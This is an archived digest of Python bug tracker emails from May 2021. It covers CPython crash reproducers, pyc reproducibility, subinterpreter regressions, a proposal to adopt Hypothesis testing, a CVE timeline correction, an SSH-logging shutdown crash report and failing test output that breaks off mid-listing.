bugs.python.org (Tal Einat) Date: Tue, 25 May 2021 15:20:03 +0000 Subject: [issue44010] IDLE: highlight soft keywords In-Reply-To: <1619968726.44.0.898029339856.issue44010@roundup.psfhosted.org> Message-ID: <1621956003.53.0.165853705793.issue44010@roundup.psfhosted.org> Tal Einat added the comment: IMO this can be closed, so I'm closing this. (Terry is welcome to reopen this if needed.) ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 25 11:38:00 2021 From: report at bugs.python.org (Ken Jin) Date: Tue, 25 May 2021 15:38:00 +0000 Subject: [issue44232] Crash in Objects/typeobject.c In-Reply-To: <1621942755.2.0.438042973363.issue44232@roundup.psfhosted.org> Message-ID: <1621957080.1.0.444135609747.issue44232@roundup.psfhosted.org> Ken Jin added the comment: Alright, I got a minimum reproducible example: class XBase(type): def __new__(cls, name, bases, attrs, **kwargs): attrs.pop('__module__') return super().__new__(cls, name, bases, attrs, **kwargs) class X(metaclass=XBase): ... type('A', (X, ), {}) This triggers it, sending patch soon. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 25 11:39:24 2021 From: report at bugs.python.org (Serhiy Storchaka) Date: Tue, 25 May 2021 15:39:24 +0000 Subject: [issue44214] PyArg_Parse* for vectorcall? In-Reply-To: <1621764892.64.0.828165785402.issue44214@roundup.psfhosted.org> Message-ID: <1621957164.01.0.441499147387.issue44214@roundup.psfhosted.org> Serhiy Storchaka added the comment: There are alternative ideas of parsing API which should be considered: 1. Linearize keyword arguments using _PyArg_UnpackKeywords() and parse the linear array of arguments with a variant of _PyArg_ParseStack(). 2. Parse arguments outside of the user function and pass already parsed values (as in Argument Clinic). Or just pre-process keyword arguments and pass a continuous array of arguments with possible NULLs for optional parameters. Specification for parsing arguments should be added to PyMethodDef. I do not know what idea will work better, it needs experimentation. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 25 11:57:25 2021 From: report at bugs.python.org (Serhiy Storchaka) Date: Tue, 25 May 2021 15:57:25 +0000 Subject: [issue37596] Reproducible pyc: frozenset is not serialized in a deterministic order In-Reply-To: <1563203111.95.0.786255267379.issue37596@roundup.psfhosted.org> Message-ID: <1621958245.74.0.566596017633.issue37596@roundup.psfhosted.org> Serhiy Storchaka added the comment: Possible solution: add an ordered subtype of frozenset which would keep an array of items in the original order. The compiler only creates frozenset when optimizes "x in {1, 2}" or "for x in {1, 2}". It should now create an ordered frozenset from a list of constants (removing possible duplicates). The marshal module should save items in that order and restore ordered frozensets when load data. It should not increase memory consumption too much, because frozenset constants in code are rare and small. ---------- nosy: +serhiy.storchaka _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 25 11:57:33 2021 From: report at bugs.python.org (Ken Jin) Date: Tue, 25 May 2021 15:57:33 +0000 Subject: [issue44232] Crash in Objects/typeobject.c In-Reply-To: <1621942755.2.0.438042973363.issue44232@roundup.psfhosted.org> Message-ID: <1621958253.49.0.110224447708.issue44232@roundup.psfhosted.org> Change by Ken Jin : ---------- keywords: +patch pull_requests: +24950 stage: -> patch review pull_request: https://github.com/python/cpython/pull/26358 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 25 12:14:13 2021 From: report at bugs.python.org (Trygve Aaberge) Date: Tue, 25 May 2021 16:14:13 +0000 Subject: [issue44050] [subinterpreters] _PyImport_FixupExtensionObject() regression in Python 3.9 In-Reply-To: <1620224531.72.0.42100874633.issue44050@roundup.psfhosted.org> Message-ID: <1621959253.7.0.161300783852.issue44050@roundup.psfhosted.org> Trygve Aaberge added the comment: > The _PyImport_FixupExtensionObject() change impacts extensions using the legacy API and so should not be used in subinterpreters. I'm not using that directly in my code, but I guess it's used indirectly? If it shouldn't be used, what's the alternative in 3.9? > Maybe the old behavior was better: if an extension uses the old API, share its state between all interpreters. Since this worked fine as far as I know before 3.9, and currently breaks existing applications, this is probably better yes. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 25 12:28:15 2021 From: report at bugs.python.org (STINNER Victor) Date: Tue, 25 May 2021 16:28:15 +0000 Subject: [issue44232] Crash in Objects/typeobject.c In-Reply-To: <1621942755.2.0.438042973363.issue44232@roundup.psfhosted.org> Message-ID: <1621960095.41.0.666032867878.issue44232@roundup.psfhosted.org> Change by STINNER Victor : ---------- pull_requests: +24951 pull_request: https://github.com/python/cpython/pull/26359 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 25 12:30:44 2021 From: report at bugs.python.org (STINNER Victor) Date: Tue, 25 May 2021 16:30:44 +0000 Subject: [issue44232] Crash in Objects/typeobject.c In-Reply-To: <1621942755.2.0.438042973363.issue44232@roundup.psfhosted.org> Message-ID: <1621960244.15.0.18285403884.issue44232@roundup.psfhosted.org> STINNER Victor added the comment: > We noticed a behavior change in [1]. Hey, well done bisection, you're right, it's a regression of my large type_new() refactoring in bpo-43770. I wrote PR 26359 to fix it. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 25 12:37:12 2021 From: report at bugs.python.org (STINNER Victor) Date: Tue, 25 May 2021 16:37:12 +0000 Subject: [issue44131] [C API] Add tests on Py_FrozenMain() In-Reply-To: <1620994369.62.0.354601347783.issue44131@roundup.psfhosted.org> Message-ID: <1621960632.6.0.134298697642.issue44131@roundup.psfhosted.org> STINNER Victor added the comment: commit eaede0ded72e67cee4a91c086847d54cb64ca74c Author: Victor Stinner Date: Mon May 17 23:48:35 2021 +0200 bpo-44131: Test Py_FrozenMain() (GH-26126) * Add test_frozenmain to test_embed * Add Programs/test_frozenmain.py * Add Programs/freeze_test_frozenmain.py * Add Programs/test_frozenmain.h * Add make regen-test-frozenmain * Add test_frozenmain command to Programs/_testembed * _testembed.c: add error(msg) function commit 58a993957abec7e47acb20376d2753051fa75452 Author: Victor Stinner Date: Thu May 20 12:08:05 2021 +0200 bpo-44131: Py_FrozenMain() uses PyConfig_SetBytesArgv() (GH-26201) Moreover, Py_FrozenMain() relies on Py_InitializeFromConfig() to handle the PYTHONUNBUFFERED environment variable and configure C stdio streams like stdout (make the stream unbuffered). ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 25 12:39:52 2021 From: report at bugs.python.org (=?utf-8?q?Filipe_La=C3=ADns?=) Date: Tue, 25 May 2021 16:39:52 +0000 Subject: [issue37596] Reproducible pyc: frozenset is not serialized in a deterministic order In-Reply-To: <1563203111.95.0.786255267379.issue37596@roundup.psfhosted.org> Message-ID: <1621960792.68.0.786202406765.issue37596@roundup.psfhosted.org> Filipe La?ns added the comment: What about normal sets? They also suffer from the same issue. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 25 12:40:03 2021 From: report at bugs.python.org (Paul Ganssle) Date: Tue, 25 May 2021 16:40:03 +0000 Subject: [issue42109] Use hypothesis for testing the standard library, falling back to stubs In-Reply-To: <1603301913.79.0.22425692211.issue42109@roundup.psfhosted.org> Message-ID: <1621960803.19.0.799067898829.issue42109@roundup.psfhosted.org> Paul Ganssle added the comment: > I use hypothesis during development, but don't have a need for in the the standard library. By the time code lands there, we normally have a specific idea of what edge cases needs to be in the tests. The suggestion I've made here is that we use @example decorators to take the hypothesis tests you would have written already and turn them in to what are essentially parameterized tests. For anyone who doesn't want to explicitly run the hypothesis test suite, the tests you are apparently already writing would simply turn into normal tests for just the edge cases. One added benefit of keeping the tests around in the form of property tests is that you can run these same tests through hypothesis to find regressions in bugfixes that are implemented after landing (e.g. "Oh we can add a fast path here", which introduces a new edge case). The segfault bug from bpo-34454, for example, would have been found if I had been able to carry over the hypothesis-based tests I was using during the initial implementation of fromisoformat into later stages of the development. (Either because I didn't run it long enough to hit that particular edge case or because that edge case didn't come up until after I had moved the development locus into the CPython repo, I'm not sure). Another benefit of keeping them around is that they become fuzz targets, meaning people like oss-fuzz or anyone who wants to throw some fuzzing resources at CPython have an existing body of tests that are expected to pass on *any* input, to find especially obscure bugs. > For the most part, hypothesis has not turned up anything useful for the standard library. Most of the reports that we've gotten reflected a misunderstanding by the person running hypothesis rather than an actual bug. [...] I don't really think it's a good argument to say that it hasn't turned up useful bugs. Most of the bugs in a bit of code will be found during development or during the early stages of adoption, and we have very wide adoption. I've found a number of bugs in zoneinfo using hypothesis tests, and I'd love to continue using them in CPython rather than throwing them away or maintaining them in a separate repo. I also think it is very useful for us to write tests about the properties of our systems for re-use in PyPy (which does use hypothesis, by the way) and other implementations of Python. This kind of "define the contract and maintain tests to enforce that" is very helpful for alternate implementations. > For numeric code, hypothesis is difficult to use and requires many restrictions on the bounds of variables and error tolerances. [...] I do not think that we need to make hypothesis tests mandatory. They can be used when someone finds them useful. > The main area where hypothesis seems easy to use and gives some comfort is in simple roundtrips: assert zlib.decompress(zlib.compress(s)) == s. However, that is only a small fraction of our test cases. Even if this were the only time that hypothesis were useful (I don't think it is), some of these round-trips can be among the trickiest and important code to test, even if it's a small fraction of the tests. We have a bunch of functions that are basically "Load this file format" and "Dump this file format", usually implemented in C, which are a magnet for CVEs and often the target for fuzz testing for that reason. Having a small library of maintained tests for round tripping file formats seems like it would be very useful for people who want to donate compute time to fuzz test CPython (or other implementations!) > Speed is another issue. During development, it doesn't matter much if Hypothesis takes a lot of time exercising one function. But in the standard library tests already run slow enough to impact development. If hypothesis were to run everytime we run a test suite, it would make the situation worse. As mentioned in the initial ticket, the current plan I'm suggesting is to have fallback stubs which turn your property tests into parameterized tests when hypothesis is not installed. If we're good about adding `@example` decorators (and certainly doing so is easier than writing new ad hoc tests for every edge case we can think of when we already have property tests written!), then I don't see any particular reason to run the full test suite against a full hypothesis run on every CI run. My suggestion is: 1. By default, run hypothesis in "stubs" mode, where the property tests are simply parameterized tests. 2. Have one or two CI jobs that runs *only* the hypothesis tests, generating new examples ? since this is just for edge case detection, it doesn't necessarily need to run on every combination of architecture and platform and configuration in our testing matrix, just the ones where it could plausibly make a difference. 3. Ask users who are adding new hypothesis tests or who find new bugs to add @example decorators when they fix a failing test case. With the stubs, these tests won't be any slower than other tests, and I think a single "hypothesis-only" CI job done in parallel with the other jobs won't break the compute bank. Notably, we can almost certainly disable coverage detection on the edge-case-only job as well, which I believe adds quite a bit of overhead. > There is also a learning curve issue. We're adding more and more things that newcomer's have to learn before they can contribute (how to run blurb, how to use the argument clinic, etc). Using Hypothesis is a learned skill and takes time. Again I don't think hypothesis tests are *mandatory* or that we plan to replace our existing testing framework with hypothesis tests. The median newcomer won't need to know anything about hypothesis testing any more than they need to know the details of the grammar or of the ceval loop to make a meaningful contribution. I don't even expect them to make up a large fraction of our tests. I'm a pretty big fan of hypothesis and used it extensively for zoneinfo, and yet only 13% of the tests (by line count) are property tests: $ wc -l tests/test_zoneinfo* 325 tests/test_zoneinfo_property.py 2138 tests/test_zoneinfo.py 2463 total I will not deny that there *are* costs to bringing this into the standard library, but I that they can largely be mitigated. The main concern is really ensuring that we can bring it on board without making our CI system more fragile and without shifting much (if any) concern about fixing bitrot associated with the hypothesis tests onto the buildbot maintainers and release managers. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 25 12:44:50 2021 From: report at bugs.python.org (STINNER Victor) Date: Tue, 25 May 2021 16:44:50 +0000 Subject: [issue36384] [security] CVE-2021-29921: ipaddress Should not reject IPv4 addresses with leading zeroes as ambiguously octal In-Reply-To: <1553125209.55.0.0358803413865.issue36384@roundup.psfhosted.org> Message-ID: <1621961090.05.0.445946943812.issue36384@roundup.psfhosted.org> STINNER Victor added the comment: George-Cristian B?rzan: "The timeline there is wrong." Fixed: https://python-security.readthedocs.io/vuln/ipaddress-ipv4-leading-zeros.html#timeline The strange part is "2019-03-20 (-741 days): Python issue bpo-36384 reported by Joel Croteau". The problem is that this issue was "reused" for two different things: the initial change and the vulnerability. Maybe I can removed the reference to the bpo to remove it from the timeline (and put it in links). ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 25 13:10:43 2021 From: report at bugs.python.org (=?utf-8?q?George-Cristian_B=C3=AErzan?=) Date: Tue, 25 May 2021 17:10:43 +0000 Subject: [issue36384] [security] CVE-2021-29921: ipaddress Should not reject IPv4 addresses with leading zeroes as ambiguously octal In-Reply-To: <1553125209.55.0.0358803413865.issue36384@roundup.psfhosted.org> Message-ID: <1621962643.38.0.826667117188.issue36384@roundup.psfhosted.org> George-Cristian B?rzan added the comment: I think the only thing I'd improve would be to mention that this issue is the one that introduced the bug, otherwise it looks a bit weird. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 25 13:21:07 2021 From: report at bugs.python.org (Muralidhar BN) Date: Tue, 25 May 2021 17:21:07 +0000 Subject: [issue44226] Threads shutting down in Py 2.7 but not in Py 3.69 while making SSH connection using Paramiko module In-Reply-To: <1621882516.37.0.78116563301.issue44226@roundup.psfhosted.org> Message-ID: <1621963267.7.0.533878152803.issue44226@roundup.psfhosted.org> Muralidhar BN added the comment: We have checked this issue by adapting another 3rd party SSH packages ( replace paramiko with pyssh). Using this we have found same o/p results. Which means it is not 3rd party SSH package ( paramiko or pyssh) issue. Issue report in Paramiko github will be removed (https://github.com/paramiko/paramiko/issues/1856) To our analysis this issue is not observed when "logging" module is disabled. Request to provide your analysis from python perspective ? Executing code qa-test-execute.py in Py 2.7 (Ubuntu 14.04.6 LTS) Command 1 : sudo python ./qa-test-execute.py Output 1 : 2021-05-25 21:23:44,889[BaseCommandLine __init__ 140392385488400][DEBUG]: Attempt to close ssh-session within 10.0 seconds. Exception AssertionError: 'attempt to release recursive lock not owned by thread' in > ignored Command 2 : 2021-05-25 21:23:44,889[BaseCommandLine __init__ 140392385488400][DEBUG]: Attempt to close ssh-session within 10.0 seconds. Exception AssertionError: 'attempt to release recursive lock not owned by thread' in > ignored Executing code qa-test-execute.py in Py 3.69 (Ubuntu 18.04.5 LTS) Command 1 : sudo python3 ./qa-test-execute.py Output 1 : 2021-05-25 22:32:54,945[BaseCommandLine __init__ 140490991571128][DEBUG]: Attempt to close ssh-session within 10.0 seconds. 2021-05-25 22:32:54,945[BaseCommandLine __init__ 140490991571128][DEBUG]: Closing internal ssh-client. Fatal Python error: could not acquire lock for <_io.BufferedWriter name=''> at interpreter shutdown, possibly due to daemon threads Thread 0x00007fc69880e700 (most recent call first): File "/usr/lib/python3.6/logging/__init__.py", line 997 in emit File "/usr/lib/python3.6/logging/__init__.py", line 865 in handle File "/usr/lib/python3.6/logging/__init__.py", line 1516 in callHandlers File "/usr/lib/python3.6/logging/__init__.py", line 1454 in handle File "/usr/lib/python3.6/logging/__init__.py", line 1444 in _log File "/usr/lib/python3.6/logging/__init__.py", line 1296 in debug File "./qa-test-execute_sajal.py", line 132 in __nonblocking_close1 File "/usr/lib/python3.6/threading.py", line 864 in run File "/usr/lib/python3.6/threading.py", line 916 in _bootstrap_inner File "/usr/lib/python3.6/threading.py", line 884 in _bootstrap Current thread 0x00007fc69dab5740 (most recent call first): File "./qa-test-execute_sajal.py", line 48 in call_with_timeout1 File "./qa-test-execute_sajal.py", line 117 in close1 File "./qa-test-execute_sajal.py", line 83 in __del__ Aborted (core dumped) Command 2 : sudo python3 ./qa-test-execute.py 2>&1 | tee launcher_gt20907_24052021_execute_py369_1.log Output 2 : 2021-05-25 22:33:26,393[BaseCommandLine __init__ 140711046725760][DEBUG]: Attempt to close ssh-session within 10.0 seconds. 2021-05-25 22:33:26,393[BaseCommandLine __init__ 140711046725760][DEBUG]: Closing internal ssh-client. ^C Behaviour of same code is different when executed in Py 2.7 & Py 3.69. qa-test-execute.py #!/usr/bin/env python3 import sys import traceback import logging import logging.config import time import threading import multiprocessing import pyssh ######################################################################## def lock_acquire_with_timeout1(lock, timeout_seconds): """ Try to acquire lock without specified timeout @param lock: threading lock to be acquired @type lock: threading.Lock @param timeout_seconds: maximal time to make lock acquire attempts @type timeout_seconds: float """ begin_time = time.time() while time.time() - begin_time < timeout_seconds: if lambda: lock.acquire(False): return True else: time.sleep(1.0) return None def call_with_timeout1(method_to_call, timeout_seconds): """ Good for potentially "freeze" methods calls. Executes passed method in separate thread. Waits for control returns within timeout. If timeout exceed - return control to callee thread. Separate execution thread will still be active. @param method_to_call: method te be called @type method_to_call: function @param timeout_seconds: maximal time to wait for method call finished @type timeout_seconds: float """ stop_thread = threading.Barrier(2) thread_name = threading._newname("{}-%d".format(__name__)) call_thread = threading.Thread(target=method_to_call, name=thread_name) call_thread.daemon = True call_thread.start() print ("threading.activeCount() : %s",threading.activeCount()) print ("threading.currentThread() : %s", threading.currentThread()) print ("threading.enumerate() : %s", threading.enumerate() ) call_thread.join(timeout=timeout_seconds) if call_thread.is_alive(): stop_thread.abort() return not call_thread.is_alive() def format_all_threads_stacks1(): """ @return: formatted stacks for all running threads. """ stacktraces = [] for thread_id, stack in list(dict(list(sys._current_frames().items())).items()): for thread1 in threading.enumerate(): if thread1.ident == thread_id: stacktraces.append('Thread %s (daemon=%r) stacktrace: \n%s' % (thread1.name, thread1.daemon, ''.join(traceback.format_stack(stack)))) else: thread = None return '\n'.join(stacktraces) class BaseCommandLine1(object): def __init__(self, connection_timeout=None): self._connection_timeout = connection_timeout self._connection_lock = multiprocessing.RLock() self._ssh_client = None self.logger = logging.getLogger('BaseCommandLine __init__ {}'.format(id(self))) self.reset_connection1() def __del__(self): self.close1() def _wait_for_connection1(self): begin_time = time.time() self.logger.debug("Will attempt to connect with device for %s seconds." % self._connection_timeout) while time.time() - begin_time < self._connection_timeout: try: self._connect_ssh1() self.logger.debug('BaseCommandLine1 new SSH connection with {}:{} established.'. format("10.221.42.29", "22")) break except Exception as e: self.logger.debug('BaseCommandLine1 SSH-connection failed after %d seconds passed with exception: %s' % (time.time() - begin_time, e)) self.logger.debug('BaseCommandLine1 Next attempt after {} seconds.'.format(5.0)) time.sleep(5.0) else: self.logger.debug('BaseCommandLine1 Failed to connect to {}:{} within {} seconds: {}'.format( "10.221.42.29","22",self._connection_timeout,traceback.format_exc())) def reset_connection1(self): with self._connection_lock: self.close1() self.logger.debug('reset connection begin.') self._wait_for_connection1() def close1(self): if not self._ssh_client: return close_timeout = 10.0 begin_time = time.time() self.logger.debug("Attempt to close ssh-session within %s seconds." % close_timeout) if lock_acquire_with_timeout1(self._connection_lock, close_timeout): try: if call_with_timeout1(self.__nonblocking_close1, timeout_seconds=close_timeout): self.logger.debug("Successfully closed SSHClient within %d seconds." % (time.time() - begin_time)) else: self.logger.warning("Failed to close SSHClient within %d seconds." % close_timeout) self.logger.warning("All threads state:\n%s" % format_all_threads_stacks1()) finally: self._connection_lock.release() else: self.logger.warning("Failed to acquire lock within %s timeout." % close_timeout) self._ssh_client = None def __nonblocking_close1(self): """ Non-blocking call to close SSH connection. May freeze on internal SSHClient.close(). """ self.logger.debug("Closing internal ssh-client.") if self._ssh_client: self._ssh_client.close1() self.logger.debug("Internal ssh-client closed.") self._ssh_client = None def _connect_ssh1(self, key_filename=None): try: s = pyssh.new_session(hostname="10.221.42.29", port="22", username="root", password="") r = s.execute("uname -a") print(r.as_bytes()) except Exception as e: print("Connection Error", str(e)) self._ssh_client = s return s def config_logging(): formatter = logging.Formatter("%(asctime)s[%(name)s]" "[%(levelname)s]: %(message)s") console_logger = logging.StreamHandler(sys.stdout) console_logger.setFormatter(formatter) root_logger = logging.getLogger() root_logger.setLevel(logging.DEBUG) root_logger.addHandler(logging.NullHandler()) paramiko_logger = logging.getLogger('paramiko') paramiko_logger.setLevel(logging.CRITICAL) paramiko_logger.addHandler(console_logger) console_logger.setLevel(logging.DEBUG) root_logger.addHandler(console_logger) def main(argv): config_logging() try: result = BaseCommandLine1(300) except Exception: logging.debug("Exception from BaseCommandLine1") logging.debug("Show all threads status before exit attempt:\n %s", format_all_threads_stacks1()) if __name__ == "__main__": main(sys.argv) ---------- resolution: third party -> remind status: closed -> open _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 25 13:34:03 2021 From: report at bugs.python.org (Steve Dower) Date: Tue, 25 May 2021 17:34:03 +0000 Subject: [issue44233] Provide Windows Terminal Fragment Extension In-Reply-To: <1621945620.89.0.911213334128.issue44233@roundup.psfhosted.org> Message-ID: <1621964043.35.0.369822471315.issue44233@roundup.psfhosted.org> Steve Dower added the comment: Thanks! This is a great idea. I'd prioritise adding support to the Store app first, as that's easier to manage (we're not having to modify files owned by other apps outside of our install directory). But no reason we couldn't extend the older installer and make that do it as well. We probably want to experiment a bit with what goes into it. I think this should probably be a single profile that uses the default Python (whatever "python.exe" maps to), but it could also be a Powershell/Cmd shell that has PATH set (though *that* is redundant with the Store package, so perhaps better for the regular installer). I *really* don't want to fill up Terminal with one (or more) profiles for each Python version. I'm trying to motivate other work to make it easier for users to have multiple installs but one consistent default, so I'd rather not multiplex here. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 25 09:43:04 2021 From: report at bugs.python.org (Alexei S) Date: Tue, 25 May 2021 13:43:04 +0000 Subject: [issue44031] python3.8.9, python3.9.2 test_embed test_tabnanny failed In-Reply-To: <1620129028.97.0.901022211038.issue44031@roundup.psfhosted.org> Message-ID: <1621950184.69.0.693654493185.issue44031@roundup.psfhosted.org> Alexei S added the comment: make test TESTOPTS="-v test_embed test_tabnanny" CC='gcc -pthread' LDSHARED='gcc -pthread -shared ' OPT='-DNDEBUG -g -fwrapv -O3 -Wall' _TCLTK_INCLUDES='' _TCLTK_LIBS='' ./python -E ./setup.py build running build running build_ext The following modules found by detect_modules() in setup.py, have been built by the Makefile instead, as configured by the Setup files: _abc atexit pwd time running build_scripts copying and adjusting /home/alexei/????????/Python-3.9.4/Tools/scripts/pydoc3 -> build/scripts-3.9 copying and adjusting /home/alexei/????????/Python-3.9.4/Tools/scripts/idle3 -> build/scripts-3.9 copying and adjusting /home/alexei/????????/Python-3.9.4/Tools/scripts/2to3 -> build/scripts-3.9 changing mode of build/scripts-3.9/pydoc3 from 664 to 775 changing mode of build/scripts-3.9/idle3 from 664 to 775 changing mode of build/scripts-3.9/2to3 from 664 to 775 renaming build/scripts-3.9/pydoc3 to build/scripts-3.9/pydoc3.9 renaming build/scripts-3.9/idle3 to build/scripts-3.9/idle3.9 renaming build/scripts-3.9/2to3 to build/scripts-3.9/2to3-3.9 ./python -E -c 'import sys ; from sysconfig import get_platform ; print("%s-%d.%d" % (get_platform(), *sys.version_info[:2]))' >platform ./python ./Tools/scripts/run_tests.py -v test_embed test_tabnanny /home/alexei/????????/Python-3.9.4/python -u -W default -bb -E -m test -r -w -j 0 -u all,-largefile,-audio,-gui -v test_embed test_tabnanny == CPython 3.9.4 (default, May 25 2021, 18:48:10) [GCC 9.3.0] == Linux-5.8.0-48-generic-x86_64-with-glibc2.31 little-endian == cwd: /home/alexei/????????/Python-3.9.4/build/test_python_58488? == CPU count: 4 == encodings: locale=UTF-8, FS=utf-8 Using random seed 464094 0:00:00 load avg: 0.41 Run tests in parallel using 6 child processes 0:00:01 load avg: 0.53 [1/2/1] test_tabnanny failed test_correct_directory (test.test_tabnanny.TestCheck) Directory which contains few error free python source code files. ... ok test_correct_directory_verbose (test.test_tabnanny.TestCheck) Directory containing few error free python source code files. ... ok test_correct_file (test.test_tabnanny.TestCheck) A python source code file without any errors. ... ok test_errored_directory (test.test_tabnanny.TestCheck) Directory containing wrongly indented python source code files. ... ok test_when_nannynag_error (test.test_tabnanny.TestCheck) A python source code file eligible for raising `tabnanny.NannyNag`. ... ok test_when_nannynag_error_verbose (test.test_tabnanny.TestCheck) A python source code file eligible for raising `tabnanny.NannyNag`. ... ok test_when_no_file (test.test_tabnanny.TestCheck) A python file which does not exist actually in system. ... ok test_when_tokenize_tokenerror (test.test_tabnanny.TestCheck) A python source code file eligible for raising 'tokenize.TokenError'. ... ok test_when_wrong_indented (test.test_tabnanny.TestCheck) A python source code file eligible for raising `IndentationError`. ... ok test_command_usage (test.test_tabnanny.TestCommandLine) Should display usage on no arguments. ... ERROR test_double_verbose_mode (test.test_tabnanny.TestCommandLine) Should display detailed error information if double verbose is on. ... ok test_quiet_flag (test.test_tabnanny.TestCommandLine) Should display less when quite mode is on. ... ok test_verbose_mode (test.test_tabnanny.TestCommandLine) Should display more error information if verbose mode is on. ... ok test_with_error_free_file (test.test_tabnanny.TestCommandLine) Should not display anything if python file is correctly indented. ... ok test_with_errored_file (test.test_tabnanny.TestCommandLine) Should displays error when errored python file is given. ... ok test_errprint (test.test_tabnanny.TestErrPrint) Asserting result of `tabnanny.errprint()` by giving sample inputs. ... ok test_format_witnesses (test.test_tabnanny.TestFormatWitnesses) Asserting formatter result by giving various input samples. ... ok test_all_methods (test.test_tabnanny.TestNannyNag) Asserting behaviour of `tabnanny.NannyNag` exception. ... ok test_with_correct_code (test.test_tabnanny.TestProcessTokens) A python source code without any whitespace related problems. ... ok test_with_errored_codes_samples (test.test_tabnanny.TestProcessTokens) A python source code with whitespace related sampled problems. ... ok ====================================================================== ERROR: test_command_usage (test.test_tabnanny.TestCommandLine) Should display usage on no arguments. ---------------------------------------------------------------------- Traceback (most recent call last): File "/home/alexei/????????/Python-3.9.4/Lib/test/test_tabnanny.py", line 324, in test_command_usage self.validate_cmd(stderr=stderr) File "/home/alexei/????????/Python-3.9.4/Lib/test/test_tabnanny.py", line 296, in validate_cmd err = err.decode('ascii') UnicodeDecodeError: 'ascii' codec can't decode byte 0xd0 in position 20: ordinal not in range(128) ---------------------------------------------------------------------- Ran 20 tests in 0.874s FAILED (errors=1) test test_tabnanny failed 0:00:12 load avg: 0.69 [2/2/2] test_embed failed test_audit (test.test_embed.AuditingTests) ... ok test_audit_run_command (test.test_embed.AuditingTests) ... ok test_audit_run_file (test.test_embed.AuditingTests) ... ok test_audit_run_interactivehook (test.test_embed.AuditingTests) ... ok test_audit_run_startup (test.test_embed.AuditingTests) ... ok test_audit_run_stdin (test.test_embed.AuditingTests) ... ok test_audit_subinterpreter (test.test_embed.AuditingTests) ... ok test_open_code_hook (test.test_embed.AuditingTests) ... ok test_bpo20891 (test.test_embed.EmbeddingTests) bpo-20891: Calling PyGILState_Ensure in a non-Python thread must not ... ok test_forced_io_encoding (test.test_embed.EmbeddingTests) ... ok test_initialize_pymain (test.test_embed.EmbeddingTests) bpo-34008: Calling Py_Main() after Py_Initialize() must not fail. ... ok test_initialize_twice (test.test_embed.EmbeddingTests) bpo-33932: Calling Py_Initialize() twice should do nothing (and not ... ok test_pre_initialization_api (test.test_embed.EmbeddingTests) Checks some key parts of the C-API that need to work before the runtine ... ok test_pre_initialization_sys_options (test.test_embed.EmbeddingTests) Checks that sys.warnoptions and sys._xoptions can be set before the ... ok test_run_main (test.test_embed.EmbeddingTests) ... ok test_subinterps_different_ids (test.test_embed.EmbeddingTests) ... ok test_subinterps_distinct_state (test.test_embed.EmbeddingTests) ... ok test_subinterps_main (test.test_embed.EmbeddingTests) ... ok test_get_argc_argv (test.test_embed.InitConfigTests) ... ok test_global_pathconfig (test.test_embed.InitConfigTests) ... ok test_init_compat_config (test.test_embed.InitConfigTests) ... ok test_init_compat_env (test.test_embed.InitConfigTests) ... ok test_init_default_config (test.test_embed.InitConfigTests) ... ok test_init_dev_mode (test.test_embed.InitConfigTests) ... ok test_init_dont_configure_locale (test.test_embed.InitConfigTests) ... ok test_init_dont_parse_argv (test.test_embed.InitConfigTests) ... ok test_init_env_dev_mode (test.test_embed.InitConfigTests) ... ok test_init_env_dev_mode_alloc (test.test_embed.InitConfigTests) ... ok test_init_from_config (test.test_embed.InitConfigTests) ... ok test_init_global_config (test.test_embed.InitConfigTests) ... ok test_init_isolated_config (test.test_embed.InitConfigTests) ... FAIL test_init_isolated_flag (test.test_embed.InitConfigTests) ... ok test_init_main (test.test_embed.InitConfigTests) ... ok test_init_parse_argv (test.test_embed.InitConfigTests) ... ok test_init_pybuilddir (test.test_embed.InitConfigTests) ... ok test_init_python_config (test.test_embed.InitConfigTests) ... ok test_init_python_env (test.test_embed.InitConfigTests) ... ok test_init_pyvenv_cfg (test.test_embed.InitConfigTests) ... ok test_init_read_set (test.test_embed.InitConfigTests) ... ok test_init_run_main (test.test_embed.InitConfigTests) ... ok test_init_setpath (test.test_embed.InitConfigTests) ... FAIL test_init_setpath_config (test.test_embed.InitConfigTests) ... ok test_init_setpythonhome (test.test_embed.InitConfigTests) ... FAIL test_init_sys_add (test.test_embed.InitConfigTests) ... ok test_init_warnoptions (test.test_embed.InitConfigTests) ... ok test_preinit_compat_config (test.test_embed.InitConfigTests) ... ok test_preinit_dont_parse_argv (test.test_embed.InitConfigTests) ... FAIL test_preinit_isolated1 (test.test_embed.InitConfigTests) ... ok test_preinit_isolated2 (test.test_embed.InitConfigTests) ... ok test_preinit_isolated_config (test.test_embed.InitConfigTests) ... FAIL test_preinit_parse_argv (test.test_embed.InitConfigTests) ... ok test_preinit_python_config (test.test_embed.InitConfigTests) ... ok ====================================================================== FAIL: test_init_isolated_config (test.test_embed.InitConfigTests) ---------------------------------------------------------------------- Traceback (most recent call last): File "/home/alexei/????????/Python-3.9.4/Lib/test/test_embed.py", line 940, in test_init_isolated_config self.check_all_configs("test_init_isolated_config", api=API_ISOLATED) File "/home/alexei/????????/Python-3.9.4/Lib/test/test_embed.py", line 688, in check_all_configs self.check_config(configs, expected_config) File "/home/alexei/????????/Python-3.9.4/Lib/test/test_embed.py", line 617, in check_config self.assertEqual(config, expected) AssertionError: {'_co[349 chars]'], 'xoptions': [], 'warnoptions': [], 'python[1281 chars]: []} != {'_co[349 chars]'], '_orig_argv': [], 'xoptions': [], 'warnopt[929 chars]': 0} {'_config_init': 3, '_init_main': 1, '_install_importlib': 1, '_isolated_interpreter': 0, '_orig_argv': [], '_use_peg_parser': 1, 'argv': [''], 'base_exec_prefix': '/usr/local', - 'base_executable': 